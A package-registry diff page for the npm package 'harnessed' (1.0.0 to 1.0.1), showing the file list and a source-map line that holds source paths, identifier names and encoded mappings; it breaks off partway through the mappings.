harnessed 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +151 -110
- package/dist/cli.mjs +107 -38
- package/dist/cli.mjs.map +1 -1
- package/dist/index.mjs +1 -1
- package/dist/index.mjs.map +1 -1
- package/package.json +1 -1
package/dist/cli.mjs.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"sources":["../src/cli/lib/origin-check.ts","../src/cli/lib/probe-gstack.ts","../src/manifest/lib/path-guard.ts","../src/types/schemaVersion.ts","../src/manifest/schema/aliases.v1.ts","../src/manifest/aliases.ts","../src/cli/lib/check-deprecations.ts","../src/checkpoint/schema/checkpoint.v1.ts","../src/checkpoint/schema/currentWorkflow.v1.ts","../src/checkpoint/schema/index.ts","../src/checkpoint/template.ts","../src/cli/lib/check-token-budget.ts","../src/checkpoint/state.ts","../src/manifest/schema/known-good.v1.ts","../src/manifest/knownGood.ts","../src/checkpoint/resume.ts","../package.json","../src/manifest/errors.ts","../src/manifest/schema/metadata.ts","../src/manifest/schema/installMethods/ccHookAdd.ts","../src/manifest/schema/installMethods/ccPluginMarketplace.ts","../src/manifest/schema/installMethods/gitCloneWithSetup.ts","../src/manifest/schema/installMethods/mcpHttpAdd.ts","../src/manifest/schema/installMethods/mcpStdioAdd.ts","../src/manifest/schema/installMethods/npmCli.ts","../src/manifest/schema/installMethods/npxSkillInstaller.ts","../src/manifest/schema/installMethods/index.ts","../src/manifest/schema/spec.ts","../src/manifest/schema/index.ts","../src/manifest/security.ts","../src/manifest/validate.ts","../src/cli/lib/audit-helpers.ts","../src/cli/audit.ts","../src/cli/audit-log.ts","../src/cli/backup-list.ts","../src/cli/doctor.ts","../src/routing/completionSchema.ts","../src/routing/systemPrompt.ts","../src/routing/agentDefinition.ts","../src/routing/dag.ts","../src/routing/decisionRules.ts","../src/audit/log.ts","../src/audit/hook.ts","../src/checkpoint/engineHook.ts","../src/routing/lib/promiseExtract.ts","../src/routing/lib/ralphLoop.ts","../src/routing/lib/sdkReconcile.ts","../src/routing/lib/sdkSpawn.ts","../src/routing/lib/skillInstall.ts","../src/routing/semanticRouter.ts","../src/routing/engine.ts","../src/workflow/schema/phases.ts","../src/workflow/loadPhases.ts","../src/cli/lib/validateFlags.ts","../src/cli/execute-task.ts","../src/cli/gc.ts","../src/installers/lib/backup.ts","../src/installers/lib/confirm.ts","../src/installers/lib/diff.ts","../src/installers/lib/err.ts","../src/installers/lib/preflight.ts","../src/installers/lib/state.ts","../src/installers/ccHookAdd.ts","../src/installers/lib/runClaudeArgs.ts","../src/installers/ccPluginMarketplace.ts","../src/installers/lib/spawn.ts","../src/installers/gitCloneWithSetup.ts","../src/installers/mcpHttpAdd.ts","../src/installers/mcpStdioAdd.ts","../src/installers/npmCli.ts","../src/installers/npxSkillInstaller.ts","../src/installers/index.ts","../src/cli/install.ts","../src/cli/install-base.ts","../src/cli/manifest-add.ts","../src/cli/research.ts","../src/cli/resume.ts","../src/cli/rollback.ts","../src/cli/status.ts","../src/cli/uninstall.ts","../src/uninstallers/lib/runOrPreview.ts","../src/uninstallers/ccHookAdd.ts","../src/uninstallers/ccPluginMarketplace.ts","../src/uninstallers/gitCloneWithSetup.ts","../src/uninstallers/mcpHttpAdd.ts","../src/uninstallers/mcpStdioAdd.ts","../src/uninstallers/npmCli.ts","../src/uninstallers/npxSkillInstaller.ts","../src/uninstallers/index.ts","../src/cli.ts"],"names":["spawnSync","Type","existsSync","readFileSync","join","Value","readFile","dirname","parse","err","GIT_REF_PATTERN","p","program","resolve","backup","readdir","homedir","checkOrigin","probeGstackPrefix","checkDeprecations","checkTokenBudget","isInstalled","T","ajv","Ajv","_compiled","getValidator","parseDocument","AUDIT_PATH","mkdirSync","match","spawn","parseYaml","createHash","mkdir","writeFile","ans","violation","stdout","p2","resolveAlias","getPinnedVersion","writeFileSync","runResume","lockfile","stat","extractCloneTarget","rm","extractSkillName","p3"],"mappings":"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